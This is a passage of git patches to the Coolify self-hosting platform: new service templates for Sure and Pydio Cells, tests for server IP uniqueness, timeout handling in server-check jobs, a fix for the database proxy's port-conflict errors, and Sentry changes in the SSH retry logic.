ke0dPT0RfSk9CX0VYRUNVVElPTl9NT0RFOi1hc3luY30nCiAgICAgIC0gREJfSE9TVD1wb3N0Z3JlcwogICAgICAtIERCX1BPUlQ9NTQzMgogICAgICAtICdSRURJU19VUkw9cmVkaXM6Ly9kZWZhdWx0OiR7U0VSVklDRV9QQVNTV09SRF9SRURJU31AcmVkaXM6NjM3OS8xJwogICAgICAtICdPUEVOQUlfQUNDRVNTX1RPS0VOPSR7T1BFTkFJX0FDQ0VTU19UT0tFTn0nCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZXhjbHVkZV9mcm9tX2hjOiB0cnVlCiAgcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ21heWJlX3Bvc3RncmVzX2RhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1tYXliZS1kYn0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOjgtYWxwaW5lJwogICAgY29tbWFuZDogJ3JlZGlzLXNlcnZlciAtLWFwcGVuZG9ubHkgeWVzIC0tcmVxdWlyZXBhc3MgJHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3JlZGlzX2RhdGE6L2RhdGEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUkVESVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgICAgLSBSRURJU19QT1JUPTYzNzkKICAgICAgLSBSRURJU19EQj0xCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSAnLS1wYXNzJwogICAgICAgIC0gJyR7U0VSVklDRV9QQVNTV09SRF9SRURJU30nCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogM3MKICAgICAgcmV0cmllczogMwo=", - "tags": [ - "finances", - "wallets", - "coins", - "stocks", - "investments", - "open", - "source" - ], - "category": "productivity", - "logo": "svgs/maybe.svg", - "minversion": "0.0.0", - "port": "3000" - }, "mealie": { "documentation": "https://docs.mealie.io/?utm_source=coolify.io", "slogan": "A recipe manager and meal planner.", @@ -4548,6 +4530,22 @@ "minversion": "0.0.0", "port": "3567" }, + "sure": { + "documentation": "https://github.com/we-promise/sure?utm_source=coolify.io", + "slogan": "An all-in-one personal finance platform.", + "compose": "c2VydmljZXM6CiAgd2ViOgogICAgaW1hZ2U6ICdnaGNyLmlvL3dlLXByb21pc2Uvc3VyZTowLjYuNycKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9TVVJFXzMwMDAKICAgICAgLSBBUFBfRE9NQUlOPSRTRVJWSUNFX0ZRRE5fU1VSRQogICAgICAtIFNFQ1JFVF9LRVlfQkFTRT0kU0VSVklDRV9CQVNFNjRfQkFTRQogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTUUx9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNRTH0nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNRTF9EQVRBQkFTRTotc3VyZX0nCiAgICAgIC0gJ1JFRElTX1VSTD1yZWRpczovL3ZhbGtleTo2Mzc5JwogICAgICAtIERCX0hPU1Q9cG9zdGdyZXNxbAogICAgICAtIERCX1BPUlQ9NTQzMgogICAgICAtIFNFTEZfSE9TVEVEPXRydWUKICAgICAgLSBSQUlMU19GT1JDRV9TU0w9ZmFsc2UKICAgICAgLSBSQUlMU19BU1NVTUVfU1NMPWZhbHNlCiAgICAgIC0gJ09OQk9BUkRJTkdfU1RBVEU9JHtPTkJPQVJESU5HX1NUQVRFOi1vcGVufScKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzcWw6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgdmFsa2V5OgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICB2b2x1bWVzOgogICAgICAtICdzdXJlLWFwcC1zdG9yYWdlOi9yYWlscy9zdG9yYWdlJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjMwMDAnCiAgICAgIGludGVydmFsOiAxNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDUKICB3b3JrZXI6CiAgICBpbWFnZTogJ2doY3IuaW8vd2UtcHJvbWlzZS9zdXJlOjAuNi43JwogICAgY29tbWFuZDogJ2J1bmRsZSBleGVjIHNpZGVraXEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBBUFBfRE9NQUlOPSRTRVJWSUNFX0ZRRE5fU1VSRQogICAgICAtIFNFQ1JFVF9LRVlfQkFTRT0kU0VSVklDRV9CQVNFNjRfQkFTRQogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTUUx9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNRTH0nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNRTF9EQVRBQkFTRTotc3VyZX0nCiAgICAgIC0gJ1JFRElTX1VSTD1yZWRpczovL3ZhbGtleTo2Mzc5JwogICAgICAtIERCX0hPU1Q9cG9zdGdyZXNxbAogICAgICAtIERCX1BPUlQ9NTQzMgogICAgICAtIFNFTEZfSE9TVEVEPXRydWUKICAgICAgLSBSQUlMU19GT1JDRV9TU0w9ZmFsc2UKICAgICAgLSBSQUlMU19BU1NVTUVfU1NMPWZhbHNlCiAgICAgIC0gJ09OQk9BUkRJTkdfU1RBVEU9JHtPTkJPQVJESU5HX1NUQVRFOi1vcGVufScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3N1cmUtYXBwLXN0b3JhZ2U6L3JhaWxzL3N0b3JhZ2UnCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3Jlc3FsOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHZhbGtleToKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjMwMDAnCiAgICAgIGludGVydmFsOiAxNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDUKICBwb3N0Z3Jlc3FsOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNi1hbHBpbmUnCiAgICB2b2x1bWVzOgogICAgICAtICdzdXJlLXBvc3RncmVzcWwtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU1FMfScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTUUx9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTUUxfREFUQUJBU0U6LXN1cmV9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHZhbGtleToKICAgIGltYWdlOiAndmFsa2V5L3ZhbGtleTo4LWFscGluZScKICAgIGNvbW1hbmQ6ICd2YWxrZXktc2VydmVyIC0tYXBwZW5kb25seSB5ZXMnCiAgICB2b2x1bWVzOgogICAgICAtICdzdXJlLXZhbGtleTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAndmFsa2V5LWNsaSBwaW5nIHwgZ3JlcCBQT05HJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogNQogICAgICBzdGFydF9wZXJpb2Q6IDNzCg==", + "tags": [ + "budgeting", + "budget", + "money", + "expenses", + "income" + ], + "category": "finance", + "logo": "svgs/sure.png", + "minversion": "0.0.0", + "port": "3000" + }, "swetrix": { "documentation": "https://docs.swetrix.com/selfhosting/how-to?utm_source=coolify.io", "slogan": "Privacy-friendly and cookieless European web analytics alternative to Google Analytics.", diff --git a/tests/Feature/ServerIpUniquenessTest.php b/tests/Feature/ServerIpUniquenessTest.php new file mode 100644 index 000000000..705b1eddc --- /dev/null +++ b/tests/Feature/ServerIpUniquenessTest.php @@ -0,0 +1,110 @@ +user = User::factory()->create(); + $this->team = Team::factory()->create(); + $this->user->teams()->attach($this->team, ['role' => 'owner']); + $this->actingAs($this->user); + session(['currentTeam' => $this->team]); + + $this->privateKey = PrivateKey::create([ + 'name' => 'Test Key', + 'private_key' => 'test-key-content', + 'team_id' => $this->team->id, + ]); +}); + +it('detects duplicate ip within the same team', function () { + Server::factory()->create([ + 'ip' => '1.2.3.4', + 'team_id' => $this->team->id, + 'private_key_id' => $this->privateKey->id, + ]); + + $foundServer = Server::whereIp('1.2.3.4')->first(); + + expect($foundServer)->not->toBeNull(); + expect($foundServer->team_id)->toBe($this->team->id); +}); + +it('detects duplicate ip from another team', function () { + $otherTeam = Team::factory()->create(); + + Server::factory()->create([ + 'ip' => '5.6.7.8', + 'team_id' => $otherTeam->id, + ]); + + $foundServer = Server::whereIp('5.6.7.8')->first(); + + expect($foundServer)->not->toBeNull(); + expect($foundServer->team_id)->not->toBe($this->team->id); +}); + +it('shows correct error message for same team duplicate in boarding', function () { + Server::factory()->create([ + 'ip' => '1.2.3.4', + 'team_id' => $this->team->id, + 'private_key_id' => $this->privateKey->id, + ]); + + $foundServer = Server::whereIp('1.2.3.4')->first(); + if ($foundServer->team_id === currentTeam()->id) { + $message = 'A server with this IP/Domain already exists in your team.'; + } else { + $message = 'A server with this IP/Domain is already in use by another team.'; + } + + expect($message)->toBe('A server with this IP/Domain already exists in your team.'); +}); + +it('shows correct error message for other team duplicate in boarding', function () { + $otherTeam = Team::factory()->create(); + + Server::factory()->create([ + 'ip' => '5.6.7.8', + 'team_id' => $otherTeam->id, + ]); + + $foundServer = Server::whereIp('5.6.7.8')->first(); + if ($foundServer->team_id === currentTeam()->id) { + $message = 'A server with this IP/Domain already exists in your team.'; + } else { + $message = 'A server with this IP/Domain is already in use by another team.'; + } + + expect($message)->toBe('A server with this IP/Domain is already in use by another team.'); +}); + +it('allows adding ip that does not exist globally', function () { + $foundServer = Server::whereIp('10.20.30.40')->first(); + + expect($foundServer)->toBeNull(); +}); + +it('enforces global uniqueness not just team-scoped', function () { + $otherTeam = Team::factory()->create(); + + Server::factory()->create([ + 'ip' => '9.8.7.6', + 'team_id' => $otherTeam->id, + ]); + + // Global check finds the server even though it belongs to another team + $foundServer = Server::whereIp('9.8.7.6')->first(); + expect($foundServer)->not->toBeNull(); + + // Team-scoped check would miss it - this is why global check is needed + $teamScopedServer = Server::where('team_id', $this->team->id) + ->where('ip', '9.8.7.6') + ->first(); + expect($teamScopedServer)->toBeNull(); +}); From 8bc3737b45d128927fdc197a4397382818c609c6 Mon Sep 17 00:00:00 2001 From: benqsz <45177027+benqsz@users.noreply.github.com> Date: Fri, 13 Feb 2026 15:04:23 +0100 Subject: [PATCH 031/305] feat(service): pydio-cells.yml --- templates/compose/pydio-cells.yml | 36 +++++++++++++++++++++++++++++++ 1 file changed, 36 insertions(+) create mode 100644 templates/compose/pydio-cells.yml diff --git a/templates/compose/pydio-cells.yml b/templates/compose/pydio-cells.yml new file mode 100644 index 000000000..71be4651a --- /dev/null +++ b/templates/compose/pydio-cells.yml @@ -0,0 +1,36 @@ +# documentation: https://docs.pydio.com/ +# slogan: High-performance large file sharing, native no-code automation, and a collaboration-centric architecture that simplifies access control without compromising security or compliance. +# tags: storage +# logo: svgs/pydio-cells.svg +# port: 8080 + +services: + cells: + image: pydio/cells:latest + environment: + - SERVICE_URL_CELLS_8080 + - CELLS_SITE_EXTERNAL=https://${SERVICE_FQDN_CELLS} + - CELLS_SITE_NO_TLS=1 + volumes: + - cellsdir:/var/cells + mariadb: + image: 'mariadb:11' + volumes: + - mysqldir:/var/lib/mysql + environment: + - MYSQL_ROOT_PASSWORD=${SERVICE_PASSWORD_MYSQLROOT} + - MYSQL_DATABASE=${MYSQL_DATABASE:-cells} + - MYSQL_USER=${SERVICE_USER_MYSQL} + - MYSQL_PASSWORD=${SERVICE_PASSWORD_MYSQL} + healthcheck: + test: + - CMD + - healthcheck.sh + - '--connect' + - '--innodb_initialized' + interval: 10s + timeout: 20s + retries: 5 +volumes: + cellsdir: {} + mysqldir: {} From bdfbb5bf1c4cbff4a3b5c013b133181ac7d9e2fb Mon Sep 17 00:00:00 2001 From: benqsz <45177027+benqsz@users.noreply.github.com> Date: Fri, 13 Feb 2026 15:09:29 +0100 Subject: [PATCH 032/305] feat: pydio cells svg --- svgs/cells.svg | 38 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 38 insertions(+) create mode 100644 svgs/cells.svg diff --git a/svgs/cells.svg b/svgs/cells.svg new file mode 100644 index 000000000..f82e53ec7 --- /dev/null +++ b/svgs/cells.svg @@ -0,0 +1,38 @@ + + + + + + + + + + From 4a502c4d13bed6e9c7683943d90023d9211c18cf Mon Sep 17 00:00:00 2001 From: benqsz <45177027+benqsz@users.noreply.github.com> Date: Fri, 13 Feb 2026 15:19:06 +0100 Subject: [PATCH 033/305] fix: pydio-cells svg path typo --- templates/compose/pydio-cells.yml | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/templates/compose/pydio-cells.yml b/templates/compose/pydio-cells.yml index 71be4651a..379bb7cf0 100644 --- a/templates/compose/pydio-cells.yml +++ b/templates/compose/pydio-cells.yml @@ -1,7 +1,7 @@ # documentation: https://docs.pydio.com/ # slogan: High-performance large file sharing, native no-code automation, and a collaboration-centric architecture that simplifies access control without compromising security or compliance. # tags: storage -# logo: svgs/pydio-cells.svg +# logo: svgs/cells.svg # port: 8080 services: @@ -34,3 +34,4 @@ services: volumes: cellsdir: {} mysqldir: {} + From fe0e374d61df95d8d8b570b9c90ad0383eef06fb Mon Sep 17 00:00:00 2001 From: benqsz <45177027+benqsz@users.noreply.github.com> Date: Fri, 13 Feb 2026 18:47:54 +0100 Subject: [PATCH 034/305] feat: pydio-cells.yml pin to stable version And fix volumes naming --- templates/compose/pydio-cells.yml | 12 ++++-------- 1 file changed, 4 insertions(+), 8 deletions(-) diff --git a/templates/compose/pydio-cells.yml b/templates/compose/pydio-cells.yml index 379bb7cf0..77a24a533 100644 --- a/templates/compose/pydio-cells.yml +++ b/templates/compose/pydio-cells.yml @@ -6,17 +6,17 @@ services: cells: - image: pydio/cells:latest + image: pydio/cells:4.4 environment: - SERVICE_URL_CELLS_8080 - - CELLS_SITE_EXTERNAL=https://${SERVICE_FQDN_CELLS} + - CELLS_SITE_EXTERNAL=${SERVICE_URL_CELLS} - CELLS_SITE_NO_TLS=1 volumes: - - cellsdir:/var/cells + - cells_data:/var/cells mariadb: image: 'mariadb:11' volumes: - - mysqldir:/var/lib/mysql + - mysql_data:/var/lib/mysql environment: - MYSQL_ROOT_PASSWORD=${SERVICE_PASSWORD_MYSQLROOT} - MYSQL_DATABASE=${MYSQL_DATABASE:-cells} @@ -31,7 +31,3 @@ services: interval: 10s timeout: 20s retries: 5 -volumes: - cellsdir: {} - mysqldir: {} - From 1b2c03fc2d8789c902ed22e3d14ca3473b7f668a Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Sun, 15 Feb 2026 13:28:52 +0100 Subject: [PATCH 035/305] chore: prepare for PR --- app/Jobs/ServerConnectionCheckJob.php | 2 ++ 1 file changed, 2 insertions(+) diff --git a/app/Jobs/ServerConnectionCheckJob.php b/app/Jobs/ServerConnectionCheckJob.php index 9dbce4bfe..2625a26ae 100644 --- a/app/Jobs/ServerConnectionCheckJob.php +++ b/app/Jobs/ServerConnectionCheckJob.php @@ -107,6 +107,8 @@ public function handle() private function checkHetznerStatus(): void { + $status = null; + try { $hetznerService = new \App\Services\HetznerService($this->server->cloudProviderToken->token); $serverData = $hetznerService->getServer($this->server->hetzner_server_id); From a34d1656f46f48f6c2e529c3e52b3fce01830b08 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Sun, 15 Feb 2026 13:42:58 +0100 Subject: [PATCH 036/305] chore: prepare for PR --- app/Jobs/ServerCheckJob.php | 14 ++++++++++++++ app/Jobs/ServerConnectionCheckJob.php | 19 ++++++++++++++++++- app/Jobs/ServerStorageCheckJob.php | 14 ++++++++++++++ 3 files changed, 46 insertions(+), 1 deletion(-) diff --git a/app/Jobs/ServerCheckJob.php b/app/Jobs/ServerCheckJob.php index 2ac92e72d..a18d45b9a 100644 --- a/app/Jobs/ServerCheckJob.php +++ b/app/Jobs/ServerCheckJob.php @@ -15,6 +15,7 @@ use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\Middleware\WithoutOverlapping; use Illuminate\Queue\SerializesModels; +use Illuminate\Support\Facades\Log; class ServerCheckJob implements ShouldBeEncrypted, ShouldQueue { @@ -33,6 +34,19 @@ public function middleware(): array public function __construct(public Server $server) {} + public function failed(?\Throwable $exception): void + { + if ($exception instanceof \Illuminate\Queue\TimeoutExceededException) { + Log::warning('ServerCheckJob timed out', [ + 'server_id' => $this->server->id, + 'server_name' => $this->server->name, + ]); + + // Delete the queue job so it doesn't appear in Horizon's failed list. + $this->job?->delete(); + } + } + public function handle() { try { diff --git a/app/Jobs/ServerConnectionCheckJob.php b/app/Jobs/ServerConnectionCheckJob.php index 9dbce4bfe..47d58b53e 100644 --- a/app/Jobs/ServerConnectionCheckJob.php +++ b/app/Jobs/ServerConnectionCheckJob.php @@ -101,7 +101,24 @@ public function handle() 'is_usable' => false, ]); - throw $e; + return; + } + } + + public function failed(?\Throwable $exception): void + { + if ($exception instanceof \Illuminate\Queue\TimeoutExceededException) { + Log::warning('ServerConnectionCheckJob timed out', [ + 'server_id' => $this->server->id, + 'server_name' => $this->server->name, + ]); + $this->server->settings->update([ + 'is_reachable' => false, + 'is_usable' => false, + ]); + + // Delete the queue job so it doesn't appear in Horizon's failed list. + $this->job?->delete(); } } diff --git a/app/Jobs/ServerStorageCheckJob.php b/app/Jobs/ServerStorageCheckJob.php index 9d45491c6..51426d880 100644 --- a/app/Jobs/ServerStorageCheckJob.php +++ b/app/Jobs/ServerStorageCheckJob.php @@ -10,6 +10,7 @@ use Illuminate\Foundation\Bus\Dispatchable; use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\SerializesModels; +use Illuminate\Support\Facades\Log; use Illuminate\Support\Facades\RateLimiter; use Laravel\Horizon\Contracts\Silenced; @@ -28,6 +29,19 @@ public function backoff(): int public function __construct(public Server $server, public int|string|null $percentage = null) {} + public function failed(?\Throwable $exception): void + { + if ($exception instanceof \Illuminate\Queue\TimeoutExceededException) { + Log::warning('ServerStorageCheckJob timed out', [ + 'server_id' => $this->server->id, + 'server_name' => $this->server->name, + ]); + + // Delete the queue job so it doesn't appear in Horizon's failed list. + $this->job?->delete(); + } + } + public function handle() { try { From e9323e35502a553e287fb969ae054b384de2243b Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Sun, 15 Feb 2026 13:43:08 +0100 Subject: [PATCH 037/305] chore: prepare for PR --- app/Jobs/PushServerUpdateJob.php | 3 + tests/Feature/PushServerUpdateJobTest.php | 76 +++++++++++++++++++++++ 2 files changed, 79 insertions(+) create mode 100644 tests/Feature/PushServerUpdateJobTest.php diff --git a/app/Jobs/PushServerUpdateJob.php b/app/Jobs/PushServerUpdateJob.php index c02a7e3c5..5d018cf19 100644 --- a/app/Jobs/PushServerUpdateJob.php +++ b/app/Jobs/PushServerUpdateJob.php @@ -207,6 +207,9 @@ public function handle() $serviceId = $labels->get('coolify.serviceId'); $subType = $labels->get('coolify.service.subType'); $subId = $labels->get('coolify.service.subId'); + if (empty($subId)) { + continue; + } if ($subType === 'application') { $this->foundServiceApplicationIds->push($subId); // Store container status for aggregation diff --git a/tests/Feature/PushServerUpdateJobTest.php b/tests/Feature/PushServerUpdateJobTest.php new file mode 100644 index 000000000..d508d58ab --- /dev/null +++ b/tests/Feature/PushServerUpdateJobTest.php @@ -0,0 +1,76 @@ +create(); + $service = Service::factory()->create([ + 'server_id' => $server->id, + ]); + $serviceApp = ServiceApplication::factory()->create([ + 'service_id' => $service->id, + ]); + + $data = [ + 'containers' => [ + [ + 'name' => 'test-container', + 'state' => 'running', + 'health_status' => 'healthy', + 'labels' => [ + 'coolify.managed' => true, + 'coolify.serviceId' => (string) $service->id, + 'coolify.service.subType' => 'application', + 'coolify.service.subId' => '', + ], + ], + ], + ]; + + $job = new PushServerUpdateJob($server, $data); + + // Run handle - should not throw a PDOException about empty bigint + $job->handle(); + + // The empty subId container should have been skipped + expect($job->foundServiceApplicationIds)->not->toContain(''); + expect($job->serviceContainerStatuses)->toBeEmpty(); +}); + +test('containers with valid service subId are processed', function () { + $server = Server::factory()->create(); + $service = Service::factory()->create([ + 'server_id' => $server->id, + ]); + $serviceApp = ServiceApplication::factory()->create([ + 'service_id' => $service->id, + ]); + + $data = [ + 'containers' => [ + [ + 'name' => 'test-container', + 'state' => 'running', + 'health_status' => 'healthy', + 'labels' => [ + 'coolify.managed' => true, + 'coolify.serviceId' => (string) $service->id, + 'coolify.service.subType' => 'application', + 'coolify.service.subId' => (string) $serviceApp->id, + 'com.docker.compose.service' => 'myapp', + ], + ], + ], + ]; + + $job = new PushServerUpdateJob($server, $data); + $job->handle(); + + expect($job->foundServiceApplicationIds)->toContain((string) $serviceApp->id); +}); From b7480fbe38c14406252c7cb382457a79af4534d0 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Sun, 15 Feb 2026 13:46:08 +0100 Subject: [PATCH 038/305] chore: prepare for PR --- app/Actions/Database/StartDatabaseProxy.php | 54 ++++++++++++++++++--- tests/Feature/StartDatabaseProxyTest.php | 45 +++++++++++++++++ 2 files changed, 92 insertions(+), 7 deletions(-) create mode 100644 tests/Feature/StartDatabaseProxyTest.php diff --git a/app/Actions/Database/StartDatabaseProxy.php b/app/Actions/Database/StartDatabaseProxy.php index c634f14ba..4331c6ae7 100644 --- a/app/Actions/Database/StartDatabaseProxy.php +++ b/app/Actions/Database/StartDatabaseProxy.php @@ -112,12 +112,52 @@ public function handle(StandaloneRedis|StandalonePostgresql|StandaloneMongodb|St $dockercompose_base64 = base64_encode(Yaml::dump($docker_compose, 4, 2)); $nginxconf_base64 = base64_encode($nginxconf); instant_remote_process(["docker rm -f $proxyContainerName"], $server, false); - instant_remote_process([ - "mkdir -p $configuration_dir", - "echo '{$nginxconf_base64}' | base64 -d | tee $configuration_dir/nginx.conf > /dev/null", - "echo '{$dockercompose_base64}' | base64 -d | tee $configuration_dir/docker-compose.yaml > /dev/null", - "docker compose --project-directory {$configuration_dir} pull", - "docker compose --project-directory {$configuration_dir} up -d", - ], $server); + + try { + instant_remote_process([ + "mkdir -p $configuration_dir", + "echo '{$nginxconf_base64}' | base64 -d | tee $configuration_dir/nginx.conf > /dev/null", + "echo '{$dockercompose_base64}' | base64 -d | tee $configuration_dir/docker-compose.yaml > /dev/null", + "docker compose --project-directory {$configuration_dir} pull", + "docker compose --project-directory {$configuration_dir} up -d", + ], $server); + } catch (\RuntimeException $e) { + if ($this->isNonTransientError($e->getMessage())) { + $database->update(['is_public' => false]); + + $team = data_get($database, 'environment.project.team') + ?? data_get($database, 'service.environment.project.team'); + + $team?->notify( + new \App\Notifications\Container\ContainerRestarted( + "TCP Proxy for {$database->name} database has been disabled due to error: {$e->getMessage()}", + $server, + ) + ); + + ray("Database proxy for {$database->name} disabled due to non-transient error: {$e->getMessage()}"); + + return; + } + + throw $e; + } + } + + private function isNonTransientError(string $message): bool + { + $nonTransientPatterns = [ + 'port is already allocated', + 'address already in use', + 'Bind for', + ]; + + foreach ($nonTransientPatterns as $pattern) { + if (str_contains($message, $pattern)) { + return true; + } + } + + return false; } } diff --git a/tests/Feature/StartDatabaseProxyTest.php b/tests/Feature/StartDatabaseProxyTest.php new file mode 100644 index 000000000..c62569866 --- /dev/null +++ b/tests/Feature/StartDatabaseProxyTest.php @@ -0,0 +1,45 @@ +create(); + + $database = StandalonePostgresql::factory()->create([ + 'team_id' => $team->id, + 'is_public' => true, + 'public_port' => 5432, + ]); + + expect($database->is_public)->toBeTrue(); + + $action = new StartDatabaseProxy; + + // Use reflection to test the private method directly + $method = new ReflectionMethod($action, 'isNonTransientError'); + + expect($method->invoke($action, 'Bind for 0.0.0.0:5432 failed: port is already allocated'))->toBeTrue(); + expect($method->invoke($action, 'address already in use'))->toBeTrue(); + expect($method->invoke($action, 'some other error'))->toBeFalse(); +}); + +test('isNonTransientError detects port conflict patterns', function () { + $action = new StartDatabaseProxy; + $method = new ReflectionMethod($action, 'isNonTransientError'); + + expect($method->invoke($action, 'Bind for 0.0.0.0:5432 failed: port is already allocated'))->toBeTrue() + ->and($method->invoke($action, 'address already in use'))->toBeTrue() + ->and($method->invoke($action, 'Bind for 0.0.0.0:3306 failed: port is already allocated'))->toBeTrue() + ->and($method->invoke($action, 'network timeout'))->toBeFalse() + ->and($method->invoke($action, 'connection refused'))->toBeFalse(); +}); From ced1938d43302de6b1636e39b8bf9f41d2d2528d Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Sun, 15 Feb 2026 13:48:01 +0100 Subject: [PATCH 039/305] chore: prepare for PR --- app/Traits/SshRetryable.php | 33 +++++++++++++++------------------ 1 file changed, 15 insertions(+), 18 deletions(-) diff --git a/app/Traits/SshRetryable.php b/app/Traits/SshRetryable.php index a26481056..4366558ef 100644 --- a/app/Traits/SshRetryable.php +++ b/app/Traits/SshRetryable.php @@ -145,24 +145,21 @@ protected function trackSshRetryEvent(int $attempt, int $maxRetries, int $delay, } try { - app('sentry')->captureMessage( - 'SSH connection retry triggered', - \Sentry\Severity::warning(), - [ - 'extra' => [ - 'attempt' => $attempt, - 'max_retries' => $maxRetries, - 'delay_seconds' => $delay, - 'error_message' => $errorMessage, - 'context' => $context, - 'retryable_error' => true, - ], - 'tags' => [ - 'component' => 'ssh_retry', - 'error_type' => 'connection_retry', - ], - ] - ); + \Sentry\withScope(function (\Sentry\State\Scope $scope) use ($attempt, $maxRetries, $delay, $errorMessage, $context): void { + $scope->setExtras([ + 'attempt' => $attempt, + 'max_retries' => $maxRetries, + 'delay_seconds' => $delay, + 'error_message' => $errorMessage, + 'context' => $context, + 'retryable_error' => true, + ]); + $scope->setTags([ + 'component' => 'ssh_retry', + 'error_type' => 'connection_retry', + ]); + \Sentry\captureMessage('SSH connection retry triggered', \Sentry\Severity::warning()); + }); } catch (\Throwable $e) { // Don't let Sentry tracking errors break the SSH retry flow Log::warning('Failed to track SSH retry event in Sentry', [ From c3f0ed30989b1cc6f1bc2d976fab88a9feefb763 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Sun, 15 Feb 2026 14:00:27 +0100 Subject: [PATCH 040/305] refactor(ssh-retry): remove Sentry tracking from retry logic Remove the trackSshRetryEvent() method and its invocation from the SSH retry flow. This simplifies the retry mechanism and reduces external dependencies for retry handling. --- app/Traits/SshRetryable.php | 38 ------------------------------------- 1 file changed, 38 deletions(-) diff --git a/app/Traits/SshRetryable.php b/app/Traits/SshRetryable.php index 4366558ef..2092dc5f3 100644 --- a/app/Traits/SshRetryable.php +++ b/app/Traits/SshRetryable.php @@ -95,9 +95,6 @@ protected function executeWithSshRetry(callable $callback, array $context = [], if 